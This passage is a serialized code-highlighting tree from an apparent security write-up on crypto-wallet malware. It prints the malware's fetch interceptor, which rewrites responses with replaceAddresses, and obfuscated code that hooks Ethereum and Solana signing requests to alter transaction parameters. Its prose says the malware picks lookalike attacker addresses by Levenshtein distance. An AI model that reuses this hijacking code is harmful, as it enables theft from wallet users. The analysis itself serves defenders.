originalResponse",{"type":24,"tag":327,"props":104436,"children":104437},{"style":381},[104438],{"type":29,"value":4809},{"type":24,"tag":327,"props":104440,"children":104441},{"style":425},[104442],{"type":29,"value":42924},{"type":24,"tag":327,"props":104444,"children":104445},{"style":356},[104446],{"type":29,"value":104447}," originalFetch",{"type":24,"tag":327,"props":104449,"children":104450},{"style":346},[104451],{"type":29,"value":66},{"type":24,"tag":327,"props":104453,"children":104454},{"style":340},[104455],{"type":29,"value":45009},{"type":24,"tag":327,"props":104457,"children":104458},{"style":346},[104459],{"type":29,"value":349},{"type":24,"tag":327,"props":104461,"children":104462},{"style":334},[104463],{"type":29,"value":25202},{"type":24,"tag":327,"props":104465,"children":104466},{"style":346},[104467],{"type":29,"value":2744},{"type":24,"tag":327,"props":104469,"children":104470},{"style":381},[104471],{"type":29,"value":1922},{"type":24,"tag":327,"props":104473,"children":104474},{"style":356},[104475],{"type":29,"value":44941},{"type":24,"tag":327,"props":104477,"children":104478},{"style":346},[104479],{"type":29,"value":583},{"type":24,"tag":327,"props":104481,"children":104482},{"class":329,"line":408},[104483,104487,104492,104496,104500,104504,104509,104513,104517,104521,104526,104530,104534,104538],{"type":24,"tag":327,"props":104484,"children":104485},{"style":334},[104486],{"type":29,"value":42901},{"type":24,"tag":327,"props":104488,"children":104489},{"style":356},[104490],{"type":29,"value":104491}," contentType",{"type":24,"tag":327,"props":104493,"children":104494},{"style":381},[104495],{"type":29,"value":4809},{"type":24,"tag":327,"props":104497,"children":104498},{"style":356},[104499],{"type":29,"value":104434},{"type":24,"tag":327,"props":104501,"children":104502},{"style":346},[104503],{"type":29,"value":66},{"type":24,"tag":327,"props":104505,"children":104506},{"style":356},[104507],{"type":29,"value":104508},"headers",{"type":24,"tag":327,"props":104510,"children":104511},{"style":346},[104512],{"type":29,"value":66},{"type":24,"tag":327,"props":104514,"children":104515},{"style":340},[104516],{"type":29,"value":5330},{"type":24,"tag":327,"props":104518,"children":104519},{"style":346},[104520],{"type":29,"value":349},{"type":24,"tag":327,"props":104522,"children":104523},{"style":844},[104524],{"type":29,"value":104525},"'Content-Type'",{"type":24,"tag":327,"props":104527,"children":104528},{"style":346},[104529],{"type":29,"value":1674},{"type":24,"tag":327,"props":104531,"children":104532},{"style":381},[104533],{"type":29,"value":3830},{"type":24,"tag":327,"props":104535,"children":104536},{"style":844},[104537],{"type":29,"value":38549},{"type":24,"tag":327,"props":104539,"children":104540},{"style":346},[104541],{"type":29,"value":405},{"type":24,"tag":327,"props":104543,"children":104544},{"class":329,"line":421},[104545,104549,104553],{"type":24,"tag":327,"props":104546,"children":104547},{"style":334},[104548],{"type":29,"value":15417},{"type":24,"tag":327,"props":104550,"children":104551},{"style":356},[104552],{"type":29,"value":22628},{"type":24,"tag":327,"props":104554,"children":104555},{"style":346},[104556],{"type":29,"value":405},{"type":24,"tag":327,"props":104558,"children":104559},{"class":329,"line":450},[104560,104564,104568,104573,104577,104581,104585,104590],{"type":24,"tag":327,"props":104561,"children":104562},{"style":425},[104563],{"type":29,"value":38104},{"type":24,"tag":327,"props":104565,"children":104566},{"style":346},[104567],{"type":29,"value":5894},{"type":24,"tag":327,"props":104569,"children":104570},{"style":356},[104571],{"type":29,"value":104572},"contentType",{"type":24,"tag":327,"props":104574,"children":104575},{"style":346},[104576],{"type":29,"value":66},{"type":24,"tag":327,"props":104578,"children":104579},{"style":340},[104580],{"type":29,"value":41893},{"type":24,"tag":327,"props":104582,"children":104583},{"style":346},[104584],{"type":29,"value":349},{"type":24,"tag":327,"props":104586,"children":104587},{"style":844},[104588],{"type":29,"value":104589},"'application/json'",{"type":24,"tag":327,"props":104591,"children":104592},{"style":346},[104593],{"type":29,"value":41906},{"type":24,"tag":327,"props":104595,"children":104596},{"class":329,"line":481},[104597,104601,104605,104609,104613,104617,104621,104625,104629],{"type":24,"tag":327,"props":104598,"children":104599},{"style":356},[104600],{"type":29,"value":49947},{"type":24,"tag":327,"props":104602,"children":104603},{"style":381},[104604],{"type":29,"value":4809},{"type":24,"tag":327,"props":104606,"children":104607},{"style":425},[104608],{"type":29,"value":42924},{"type":24,"tag":327,"props":104610,"children":104611},{"style":356},[104612],{"type":29,"value":104434},{"type":24,"tag":327,"props":104614,"children":104615},{"style":346},[104616],{"type":29,"value":66},{"type":24,"tag":327,"props":104618,"children":104619},{"style":340},[104620],{"type":29,"value":22943},{"type":24,"tag":327,"props":104622,"children":104623},{"style":346},[104624],{"type":29,"value":36877},{"type":24,"tag":327,"props":104626,"children":104627},{"style":340},[104628],{"type":29,"value":40709},{"type":24,"tag":327,"props":104630,"children":104631},{"style":346},[104632],{"type":29,"value":4838},{"type":24,"tag":327,"props":104634,"children":104635},{"class":329,"line":500},[104636,104640,104644],{"type":24,"tag":327,"props":104637,"children":104638},{"style":346},[104639],{"type":29,"value":38178},{"type":24,"tag":327,"props":104641,"children":104642},{"style":425},[104643],{"type":29,"value":492},{"type":24,"tag":327,"props":104645,"children":104646},{"style":346},[104647],{"type":29,"value":497},{"type":24,"tag":327,"props":104649,"children":104650},{"class":329,"line":529},[104651,104655,104659,104663,104667,104671,104675,104679,104683],{"type":24,"tag":327,"props":104652,"children":104653},{"style":356},[104654],{"type":29,"value":49947},{"type":24,"tag":327,"props":104656,"children":104657},{"style":381},[104658],{"type":29,"value":4809},{"type":24,"tag":327,"props":104660,"children":104661},{"style":425},[104662],{"type":29,"value":42924},{"type":24,"tag":327,"props":104664,"children":104665},{"style":356},[104666],{"type":29,"value":104434},{"type":24,"tag":327,"props":104668,"children":104669},{"style":346},[104670],{"type":29,"value":66},{"type":24,"tag":327,"props":104672,"children":104673},{"style":340},[104674],{"type":29,"value":22943},{"type":24,"tag":327,"props":104676,"children":104677},{"style":346},[104678],{"type":29,"value":36877},{"type":24,"tag":327,"props":104680,"children":104681},{"style":340},[104682],{"type":29,"value":29},{"type":24,"tag":327,"props":104684,"children":104685},{"style":346},[104686],{"type":29,"value":4838},{"type":24,"tag":327,"props":104688,"children":104689},{"class":329,"line":538},[104690],{"type":24,"tag":327,"props":104691,"children":104692},{"style":346},[104693],{"type":29,"value":13439},{"type":24,"tag":327,"props":104695,"children":104696},{"class":329,"line":547},[104697,104701,104706,104710,104715,104719,104723],{"type":24,"tag":327,"props":104698,"children":104699},{"style":334},[104700],{"type":29,"value":42901},{"type":24,"tag":327,"props":104702,"children":104703},{"style":356},[104704],{"type":29,"value":104705}," processedData",{"type":24,"tag":327,"props":104707,"children":104708},{"style":381},[104709],{"type":29,"value":4809},{"type":24,"tag":327,"props":104711,"children":104712},{"style":340},[104713],{"type":29,"value":104714}," replaceAddresses",{"type":24,"tag":327,"props":104716,"children":104717},{"style":346},[104718],{"type":29,"value":349},{"type":24,"tag":327,"props":104720,"children":104721},{"style":356},[104722],{"type":29,"value":11298},{"type":24,"tag":327,"props":104724,"children":104725},{"style":346},[104726],{"type":29,"value":583},{"type":24,"tag":327,"props":104728,"children":104729},{"class":329,"line":557},[104730,104734,104739],{"type":24,"tag":327,"props":104731,"children":104732},{"style":334},[104733],{"type":29,"value":42901},{"type":24,"tag":327,"props":104735,"children":104736},{"style":356},[104737],{"type":29,"value":104738}," finalResponseText",{"type":24,"tag":327,"props":104740,"children":104741},{"style":381},[104742],{"type":29,"value":42568},{"type":24,"tag":327,"props":104744,"children":104745},{"class":329,"line":586},[104746,104751,104755,104759,104764,104769,104773,104777,104781,104785,104789,104793,104798],{"type":24,"tag":327,"props":104747,"children":104748},{"style":334},[104749],{"type":29,"value":104750},"    typeof",{"type":24,"tag":327,"props":104752,"children":104753},{"style":356},[104754],{"type":29,"value":104705},{"type":24,"tag":327,"props":104756,"children":104757},{"style":381},[104758],{"type":29,"value":38132},{"type":24,"tag":327,"props":104760,"children":104761},{"style":844},[104762],{"type":29,"value":104763}," 'string'",{"type":24,"tag":327,"props":104765,"children":104766},{"style":381},[104767],{"type":29,"value":104768}," ?",{"type":24,"tag":327,"props":104770,"children":104771},{"style":356},[104772],{"type":29,"value":104705},{"type":24,"tag":327,"props":104774,"children":104775},{"style":381},[104776],{"type":29,"value":41828},{"type":24,"tag":327,"props":104778,"children":104779},{"style":356},[104780],{"type":29,"value":44241},{"type":24,"tag":327,"props":104782,"children":104783},{"style":346},[104784],{"type":29,"value":66},{"type":24,"tag":327,"props":104786,"children":104787},{"style":340},[104788],{"type":29,"value":45946},{"type":24,"tag":327,"props":104790,"children":104791},{"style":346},[104792],{"type":29,"value":349},{"type":24,"tag":327,"props":104794,"children":104795},{"style":356},[104796],{"type":29,"value":104797},"processedData",{"type":24,"tag":327,"props":104799,"children":104800},{"style":346},[104801],{"type":29,"value":583},{"type":24,"tag":327,"props":104803,"children":104804},{"class":329,"line":1017},[104805,104809,104814,104818,104822,104827,104831,104836],{"type":24,"tag":327,"props":104806,"children":104807},{"style":334},[104808],{"type":29,"value":42901},{"type":24,"tag":327,"props":104810,"children":104811},{"style":356},[104812],{"type":29,"value":104813}," finalResponse",{"type":24,"tag":327,"props":104815,"children":104816},{"style":381},[104817],{"type":29,"value":4809},{"type":24,"tag":327,"props":104819,"children":104820},{"style":334},[104821],{"type":29,"value":38643},{"type":24,"tag":327,"props":104823,"children":104824},{"style":340},[104825],{"type":29,"value":104826}," Response",{"type":24,"tag":327,"props":104828,"children":104829},{"style":346},[104830],{"type":29,"value":349},{"type":24,"tag":327,"props":104832,"children":104833},{"style":356},[104834],{"type":29,"value":104835},"finalResponseText",{"type":24,"tag":327,"props":104837,"children":104838},{"style":346},[104839],{"type":29,"value":55602},{"type":24,"tag":327,"props":104841,"children":104842},{"class":329,"line":1026},[104843,104848,104852,104856,104861],{"type":24,"tag":327,"props":104844,"children":104845},{"style":356},[104846],{"type":29,"value":104847},"    status:",{"type":24,"tag":327,"props":104849,"children":104850},{"style":356},[104851],{"type":29,"value":104434},{"type":24,"tag":327,"props":104853,"children":104854},{"style":346},[104855],{"type":29,"value":66},{"type":24,"tag":327,"props":104857,"children":104858},{"style":356},[104859],{"type":29,"value":104860},"status",{"type":24,"tag":327,"props":104862,"children":104863},{"style":346},[104864],{"type":29,"value":2231},{"type":24,"tag":327,"props":104866,"children":104867},{"class":329,"line":1048},[104868,104873,104877,104881,104886],{"type":24,"tag":327,"props":104869,"children":104870},{"style":356},[104871],{"type":29,"value":104872},"    statusText:",{"type":24,"tag":327,"props":104874,"children":104875},{"style":356},[104876],{"type":29,"value":104434},{"type":24,"tag":327,"props":104878,"children":104879},{"style":346},[104880],{"type":29,"value":66},{"type":24,"tag":327,"props":104882,"children":104883},{"style":356},[104884],{"type":29,"value":104885},"statusText",{"type":24,"tag":327,"props":104887,"children":104888},{"style":346},[104889],{"type":29,"value":2231},{"type":24,"tag":327,"props":104891,"children":104892},{"class":329,"line":1067},[104893,104898,104902,104906,104910],{"type":24,"tag":327,"props":104894,"children":104895},{"style":356},[104896],{"type":29,"value":104897},"    headers:",{"type":24,"tag":327,"props":104899,"children":104900},{"style":356},[104901],{"type":29,"value":104434},{"type":24,"tag":327,"props":104903,"children":104904},{"style":346},[104905],{"type":29,"value":66},{"type":24,"tag":327,"props":104907,"children":104908},{"style":356},[104909],{"type":29,"value":104508},{"type":24,"tag":327,"props":104911,"children":104912},{"style":346},[104913],{"type":29,"value":2231},{"type":24,"tag":327,"props":104915,"children":104916},{"class":329,"line":1075},[104917],{"type":24,"tag":327,"props":104918,"children":104919},{"style":346},[104920],{"type":29,"value":104921},"  });\n",{"type":24,"tag":327,"props":104923,"children":104924},{"class":329,"line":1084},[104925,104929,104933],{"type":24,"tag":327,"props":104926,"children":104927},{"style":425},[104928],{"type":29,"value":45912},{"type":24,"tag":327,"props":104930,"children":104931},{"style":356},[104932],{"type":29,"value":104813},{"type":24,"tag":327,"props":104934,"children":104935},{"style":346},[104936],{"type":29,"value":405},{"type":24,"tag":327,"props":104938,"children":104939},{"class":329,"line":1100},[104940],{"type":24,"tag":327,"props":104941,"children":104942},{"style":346},[104943],{"type":29,"value":24092},{"type":24,"tag":175,"props":104945,"children":104946},{"start":408},[104947],{"type":24,"tag":179,"props":104948,"children":104949},{},[104950],{"type":29,"value":104951},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":317,"props":104953,"children":104955},{"code":104954,"language":38075,"meta":7,"className":38073,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[104956],{"type":24,"tag":284,"props":104957,"children":104958},{"__ignoreMap":7},[104959,105038,105049,105106,105146,105171,105186,105197,105231,105264,105283,105310,105318,105329,105369,105398,105426,105433,105473,105516,105560,105575,105614,105621,105645,105652],{"type":24,"tag":327,"props":104960,"children":104961},{"class":329,"line":330},[104962,104966,104970,104975,104979,104983,104987,104992,104996,105001,105005,105010,105014,105018,105022,105026,105030,105034],{"type":24,"tag":327,"props":104963,"children":104964},{"style":425},[104965],{"type":29,"value":5999},{"type":24,"tag":327,"props":104967,"children":104968},{"style":346},[104969],{"type":29,"value":5894},{"type":24,"tag":327,"props":104971,"children":104972},{"style":356},[104973],{"type":29,"value":104974},"_0x2c3d7e",{"type":24,"tag":327,"props":104976,"children":104977},{"style":346},[104978],{"type":29,"value":66},{"type":24,"tag":327,"props":104980,"children":104981},{"style":356},[104982],{"type":29,"value":45026},{"type":24,"tag":327,"props":104984,"children":104985},{"style":381},[104986],{"type":29,"value":38132},{"type":24,"tag":327,"props":104988,"children":104989},{"style":844},[104990],{"type":29,"value":104991}," 'eth_sendTransaction'",{"type":24,"tag":327,"props":104993,"children":104994},{"style":381},[104995],{"type":29,"value":21717},{"type":24,"tag":327,"props":104997,"children":104998},{"style":356},[104999],{"type":29,"value":105000}," _0x2c3d7e",{"type":24,"tag":327,"props":105002,"children":105003},{"style":346},[105004],{"type":29,"value":66},{"type":24,"tag":327,"props":105006,"children":105007},{"style":356},[105008],{"type":29,"value":105009},"params",{"type":24,"tag":327,"props":105011,"children":105012},{"style":381},[105013],{"type":29,"value":21717},{"type":24,"tag":327,"props":105015,"children":105016},{"style":356},[105017],{"type":29,"value":105000},{"type":24,"tag":327,"props":105019,"children":105020},{"style":346},[105021],{"type":29,"value":66},{"type":24,"tag":327,"props":105023,"children":105024},{"style":356},[105025],{"type":29,"value":105009},{"type":24,"tag":327,"props":105027,"children":105028},{"style":346},[105029],{"type":29,"value":11329},{"type":24,"tag":327,"props":105031,"children":105032},{"style":397},[105033],{"type":29,"value":2988},{"type":24,"tag":327,"props":105035,"children":105036},{"style":346},[105037],{"type":29,"value":47338},{"type":24,"tag":327,"props":105039,"children":105040},{"class":329,"line":367},[105041,105045],{"type":24,"tag":327,"props":105042,"children":105043},{"style":425},[105044],{"type":29,"value":104077},{"type":24,"tag":327,"props":105046,"children":105047},{"style":346},[105048],{"type":29,"value":497},{"type":24,"tag":327,"props":105050,"children":105051},{"class":329,"line":408},[105052,105056,105061,105065,105070,105074,105078,105082,105086,105090,105094,105098,105102],{"type":24,"tag":327,"props":105053,"children":105054},{"style":334},[105055],{"type":29,"value":58389},{"type":24,"tag":327,"props":105057,"children":105058},{"style":356},[105059],{"type":29,"value":105060}," _0x39ad21",{"type":24,"tag":327,"props":105062,"children":105063},{"style":381},[105064],{"type":29,"value":4809},{"type":24,"tag":327,"props":105066,"children":105067},{"style":340},[105068],{"type":29,"value":105069}," _0x1089ae",{"type":24,"tag":327,"props":105071,"children":105072},{"style":346},[105073],{"type":29,"value":349},{"type":24,"tag":327,"props":105075,"children":105076},{"style":356},[105077],{"type":29,"value":104974},{"type":24,"tag":327,"props":105079,"children":105080},{"style":346},[105081],{"type":29,"value":66},{"type":24,"tag":327,"props":105083,"children":105084},{"style":356},[105085],{"type":29,"value":105009},{"type":24,"tag":327,"props":105087,"children":105088},{"style":346},[105089],{"type":29,"value":11329},{"type":24,"tag":327,"props":105091,"children":105092},{"style":397},[105093],{"type":29,"value":2988},{"type":24,"tag":327,"props":105095,"children":105096},{"style":346},[105097],{"type":29,"value":4474},{"type":24,"tag":327,"props":105099,"children":105100},{"style":334},[105101],{"type":29,"value":2961},{"type":24,"tag":327,"props":105103,"children":105104},{"style":346},[105105],{"type":29,"value":583},{"type":24,"tag":327,"props":105107,"children":105108},{"class":329,"line":421},[105109,105114,105118,105122,105126,105130,105134,105138,105142],{"type":24,"tag":327,"props":105110,"children":105111},{"style":356},[105112],{"type":29,"value":105113},"    _0x2c3d7e",{"type":24,"tag":327,"props":105115,"children":105116},{"style":346},[105117],{"type":29,"value":66},{"type":24,"tag":327,"props":105119,"children":105120},{"style":356},[105121],{"type":29,"value":105009},{"type":24,"tag":327,"props":105123,"children":105124},{"style":346},[105125],{"type":29,"value":11329},{"type":24,"tag":327,"props":105127,"children":105128},{"style":397},[105129],{"type":29,"value":2988},{"type":24,"tag":327,"props":105131,"children":105132},{"style":346},[105133],{"type":29,"value":16221},{"type":24,"tag":327,"props":105135,"children":105136},{"style":381},[105137],{"type":29,"value":384},{"type":24,"tag":327,"props":105139,"children":105140},{"style":356},[105141],{"type":29,"value":105060},{"type":24,"tag":327,"props":105143,"children":105144},{"style":346},[105145],{"type":29,"value":405},{"type":24,"tag":327,"props":105147,"children":105148},{"class":329,"line":450},[105149,105153,105157,105161,105166],{"type":24,"tag":327,"props":105150,"children":105151},{"style":346},[105152],{"type":29,"value":38178},{"type":24,"tag":327,"props":105154,"children":105155},{"style":425},[105156],{"type":29,"value":55131},{"type":24,"tag":327,"props":105158,"children":105159},{"style":346},[105160],{"type":29,"value":5894},{"type":24,"tag":327,"props":105162,"children":105163},{"style":356},[105164],{"type":29,"value":105165},"_0x226343",{"type":24,"tag":327,"props":105167,"children":105168},{"style":346},[105169],{"type":29,"value":105170},") {}\n",{"type":24,"tag":327,"props":105172,"children":105173},{"class":329,"line":481},[105174,105178,105182],{"type":24,"tag":327,"props":105175,"children":105176},{"style":346},[105177],{"type":29,"value":53593},{"type":24,"tag":327,"props":105179,"children":105180},{"style":425},[105181],{"type":29,"value":492},{"type":24,"tag":327,"props":105183,"children":105184},{"style":346},[105185],{"type":29,"value":497},{"type":24,"tag":327,"props":105187,"children":105188},{"class":329,"line":500},[105189,105193],{"type":24,"tag":327,"props":105190,"children":105191},{"style":425},[105192],{"type":29,"value":38104},{"type":24,"tag":327,"props":105194,"children":105195},{"style":346},[105196],{"type":29,"value":85293},{"type":24,"tag":327,"props":105198,"children":105199},{"class":329,"line":529},[105200,105205,105209,105213,105217,105221,105226],{"type":24,"tag":327,"props":105201,"children":105202},{"style":346},[105203],{"type":29,"value":105204},"    (",{"type":24,"tag":327,"props":105206,"children":105207},{"style":356},[105208],{"type":29,"value":104974},{"type":24,"tag":327,"props":105210,"children":105211},{"style":346},[105212],{"type":29,"value":66},{"type":24,"tag":327,"props":105214,"children":105215},{"style":356},[105216],{"type":29,"value":45026},{"type":24,"tag":327,"props":105218,"children":105219},{"style":381},[105220],{"type":29,"value":38132},{"type":24,"tag":327,"props":105222,"children":105223},{"style":844},[105224],{"type":29,"value":105225}," 'solana_signTransaction'",{"type":24,"tag":327,"props":105227,"children":105228},{"style":381},[105229],{"type":29,"value":105230}," ||\n",{"type":24,"tag":327,"props":105232,"children":105233},{"class":329,"line":538},[105234,105239,105243,105247,105251,105256,105260],{"type":24,"tag":327,"props":105235,"children":105236},{"style":356},[105237],{"type":29,"value":105238},"      _0x2c3d7e",{"type":24,"tag":327,"props":105240,"children":105241},{"style":346},[105242],{"type":29,"value":66},{"type":24,"tag":327,"props":105244,"children":105245},{"style":356},[105246],{"type":29,"value":45026},{"type":24,"tag":327,"props":105248,"children":105249},{"style":381},[105250],{"type":29,"value":38132},{"type":24,"tag":327,"props":105252,"children":105253},{"style":844},[105254],{"type":29,"value":105255}," 'solana_signAndSendTransaction'",{"type":24,"tag":327,"props":105257,"children":105258},{"style":346},[105259],{"type":29,"value":1674},{"type":24,"tag":327,"props":105261,"children":105262},{"style":381},[105263],{"type":29,"value":90542},{"type":24,"tag":327,"props":105265,"children":105266},{"class":329,"line":547},[105267,105271,105275,105279],{"type":24,"tag":327,"props":105268,"children":105269},{"style":356},[105270],{"type":29,"value":105113},{"type":24,"tag":327,"props":105272,"children":105273},{"style":346},[105274],{"type":29,"value":66},{"type":24,"tag":327,"props":105276,"children":105277},{"style":356},[105278],{"type":29,"value":105009},{"type":24,"tag":327,"props":105280,"children":105281},{"style":381},[105282],{"type":29,"value":59405},{"type":24,"tag":327,"props":105284,"children":105285},{"class":329,"line":557},[105286,105290,105294,105298,105302,105306],{"type":24,"tag":327,"props":105287,"children":105288},{"style":356},[105289],{"type":29,"value":105113},{"type":24,"tag":327,"props":105291,"children":105292},{"style":346},[105293],{"type":29,"value":66},{"type":24,"tag":327,"props":105295,"children":105296},{"style":356},[105297],{"type":29,"value":105009},{"type":24,"tag":327,"props":105299,"children":105300},{"style":346},[105301],{"type":29,"value":11329},{"type":24,"tag":327,"props":105303,"children":105304},{"style":397},[105305],{"type":29,"value":2988},{"type":24,"tag":327,"props":105307,"children":105308},{"style":346},[105309],{"type":29,"value":19319},{"type":24,"tag":327,"props":105311,"children":105312},{"class":329,"line":586},[105313],{"type":24,"tag":327,"props":105314,"children":105315},{"style":346},[105316],{"type":29,"value":105317},"  ) {\n",{"type":24,"tag":327,"props":105319,"children":105320},{"class":329,"line":1017},[105321,105325],{"type":24,"tag":327,"props":105322,"children":105323},{"style":425},[105324],{"type":29,"value":76707},{"type":24,"tag":327,"props":105326,"children":105327},{"style":346},[105328],{"type":29,"value":497},{"type":24,"tag":327,"props":105330,"children":105331},{"class":329,"line":1026},[105332,105336,105341,105345,105349,105353,105357,105361,105365],{"type":24,"tag":327,"props":105333,"children":105334},{"style":334},[105335],{"type":29,"value":15636},{"type":24,"tag":327,"props":105337,"children":105338},{"style":356},[105339],{"type":29,"value":105340}," _0x5ad975",{"type":24,"tag":327,"props":105342,"children":105343},{"style":381},[105344],{"type":29,"value":4809},{"type":24,"tag":327,"props":105346,"children":105347},{"style":356},[105348],{"type":29,"value":105000},{"type":24,"tag":327,"props":105350,"children":105351},{"style":346},[105352],{"type":29,"value":66},{"type":24,"tag":327,"props":105354,"children":105355},{"style":356},[105356],{"type":29,"value":105009},{"type":24,"tag":327,"props":105358,"children":105359},{"style":346},[105360],{"type":29,"value":11329},{"type":24,"tag":327,"props":105362,"children":105363},{"style":397},[105364],{"type":29,"value":2988},{"type":24,"tag":327,"props":105366,"children":105367},{"style":346},[105368],{"type":29,"value":38284},{"type":24,"tag":327,"props":105370,"children":105371},{"class":329,"line":1048},[105372,105376,105380,105385,105389,105394],{"type":24,"tag":327,"props":105373,"children":105374},{"style":425},[105375],{"type":29,"value":46000},{"type":24,"tag":327,"props":105377,"children":105378},{"style":346},[105379],{"type":29,"value":5894},{"type":24,"tag":327,"props":105381,"children":105382},{"style":356},[105383],{"type":29,"value":105384},"_0x5ad975",{"type":24,"tag":327,"props":105386,"children":105387},{"style":346},[105388],{"type":29,"value":66},{"type":24,"tag":327,"props":105390,"children":105391},{"style":356},[105392],{"type":29,"value":105393},"transaction",{"type":24,"tag":327,"props":105395,"children":105396},{"style":346},[105397],{"type":29,"value":364},{"type":24,"tag":327,"props":105399,"children":105400},{"class":329,"line":1067},[105401,105406,105410,105414,105418,105422],{"type":24,"tag":327,"props":105402,"children":105403},{"style":356},[105404],{"type":29,"value":105405},"        _0x5ad975",{"type":24,"tag":327,"props":105407,"children":105408},{"style":381},[105409],{"type":29,"value":4809},{"type":24,"tag":327,"props":105411,"children":105412},{"style":356},[105413],{"type":29,"value":105340},{"type":24,"tag":327,"props":105415,"children":105416},{"style":346},[105417],{"type":29,"value":66},{"type":24,"tag":327,"props":105419,"children":105420},{"style":356},[105421],{"type":29,"value":105393},{"type":24,"tag":327,"props":105423,"children":105424},{"style":346},[105425],{"type":29,"value":405},{"type":24,"tag":327,"props":105427,"children":105428},{"class":329,"line":1075},[105429],{"type":24,"tag":327,"props":105430,"children":105431},{"style":346},[105432],{"type":29,"value":20208},{"type":24,"tag":327,"props":105434,"children":105435},{"class":329,"line":1084},[105436,105440,105445,105449,105453,105457,105461,105465,105469],{"type":24,"tag":327,"props":105437,"children":105438},{"style":334},[105439],{"type":29,"value":38257},{"type":24,"tag":327,"props":105441,"children":105442},{"style":356},[105443],{"type":29,"value":105444}," _0x5dbe63",{"type":24,"tag":327,"props":105446,"children":105447},{"style":381},[105448],{"type":29,"value":4809},{"type":24,"tag":327,"props":105450,"children":105451},{"style":340},[105452],{"type":29,"value":105069},{"type":24,"tag":327,"props":105454,"children":105455},{"style":346},[105456],{"type":29,"value":349},{"type":24,"tag":327,"props":105458,"children":105459},{"style":356},[105460],{"type":29,"value":105384},{"type":24,"tag":327,"props":105462,"children":105463},{"style":346},[105464],{"type":29,"value":2744},{"type":24,"tag":327,"props":105466,"children":105467},{"style":334},[105468],{"type":29,"value":15736},{"type":24,"tag":327,"props":105470,"children":105471},{"style":346},[105472],{"type":29,"value":583},{"type":24,"tag":327,"props":105474,"children":105475},{"class":329,"line":1100},[105476,105480,105484,105488,105492,105496,105500,105504,105508,105512],{"type":24,"tag":327,"props":105477,"children":105478},{"style":425},[105479],{"type":29,"value":46000},{"type":24,"tag":327,"props":105481,"children":105482},{"style":346},[105483],{"type":29,"value":5894},{"type":24,"tag":327,"props":105485,"children":105486},{"style":356},[105487],{"type":29,"value":104974},{"type":24,"tag":327,"props":105489,"children":105490},{"style":346},[105491],{"type":29,"value":66},{"type":24,"tag":327,"props":105493,"children":105494},{"style":356},[105495],{"type":29,"value":105009},{"type":24,"tag":327,"props":105497,"children":105498},{"style":346},[105499],{"type":29,"value":11329},{"type":24,"tag":327,"props":105501,"children":105502},{"style":397},[105503],{"type":29,"value":2988},{"type":24,"tag":327,"props":105505,"children":105506},{"style":346},[105507],{"type":29,"value":57069},{"type":24,"tag":327,"props":105509,"children":105510},{"style":356},[105511],{"type":29,"value":105393},{"type":24,"tag":327,"props":105513,"children":105514},{"style":346},[105515],{"type":29,"value":364},{"type":24,"tag":327,"props":105517,"children":105518},{"class":329,"line":1128},[105519,105524,105528,105532,105536,105540,105544,105548,105552,105556],{"type":24,"tag":327,"props":105520,"children":105521},{"style":356},[105522],{"type":29,"value":105523},"        _0x2c3d7e",{"type":24,"tag":327,"props":105525,"children":105526},{"style":346},[105527],{"type":29,"value":66},{"type":24,"tag":327,"props":105529,"children":105530},{"style":356},[105531],{"type":29,"value":105009},{"type":24,"tag":327,"props":105533,"children":105534},{"style":346},[105535],{"type":29,"value":11329},{"type":24,"tag":327,"props":105537,"children":105538},{"style":397},[105539],{"type":29,"value":2988},{"type":24,"tag":327,"props":105541,"children":105542},{"style":346},[105543],{"type":29,"value":57069},{"type":24,"tag":327,"props":105545,"children":105546},{"style":356},[105547],{"type":29,"value":105393},{"type":24,"tag":327,"props":105549,"children":105550},{"style":381},[105551],{"type":29,"value":4809},{"type":24,"tag":327,"props":105553,"children":105554},{"style":356},[105555],{"type":29,"value":105444},{"type":24,"tag":327,"props":105557,"children":105558},{"style":346},[105559],{"type":29,"value":405},{"type":24,"tag":327,"props":105561,"children":105562},{"class":329,"line":1148},[105563,105567,105571],{"type":24,"tag":327,"props":105564,"children":105565},{"style":346},[105566],{"type":29,"value":45653},{"type":24,"tag":327,"props":105568,"children":105569},{"style":425},[105570],{"type":29,"value":492},{"type":24,"tag":327,"props":105572,"children":105573},{"style":346},[105574],{"type":29,"value":497},{"type":24,"tag":327,"props":105576,"children":105577},{"class":329,"line":1176},[105578,105582,105586,105590,105594,105598,105602,105606,105610],{"type":24,"tag":327,"props":105579,"children":105580},{"style":356},[105581],{"type":29,"value":105523},{"type":24,"tag":327,"props":105583,"children":105584},{"style":346},[105585],{"type":29,"value":66},{"type":24,"tag":327,"props":105587,"children":105588},{"style":356},[105589],{"type":29,"value":105009},{"type":24,"tag":327,"props":105591,"children":105592},{"style":346},[105593],{"type":29,"value":11329},{"type":24,"tag":327,"props":105595,"children":105596},{"style":397},[105597],{"type":29,"value":2988},{"type":24,"tag":327,"props":105599,"children":105600},{"style":346},[105601],{"type":29,"value":16221},{"type":24,"tag":327,"props":105603,"children":105604},{"style":381},[105605],{"type":29,"value":384},{"type":24,"tag":327,"props":105607,"children":105608},{"style":356},[105609],{"type":29,"value":105444},{"type":24,"tag":327,"props":105611,"children":105612},{"style":346},[105613],{"type":29,"value":405},{"type":24,"tag":327,"props":105615,"children":105616},{"class":329,"line":1184},[105617],{"type":24,"tag":327,"props":105618,"children":105619},{"style":346},[105620],{"type":29,"value":20208},{"type":24,"tag":327,"props":105622,"children":105623},{"class":329,"line":1192},[105624,105628,105632,105636,105641],{"type":24,"tag":327,"props":105625,"children":105626},{"style":346},[105627],{"type":29,"value":487},{"type":24,"tag":327,"props":105629,"children":105630},{"style":425},[105631],{"type":29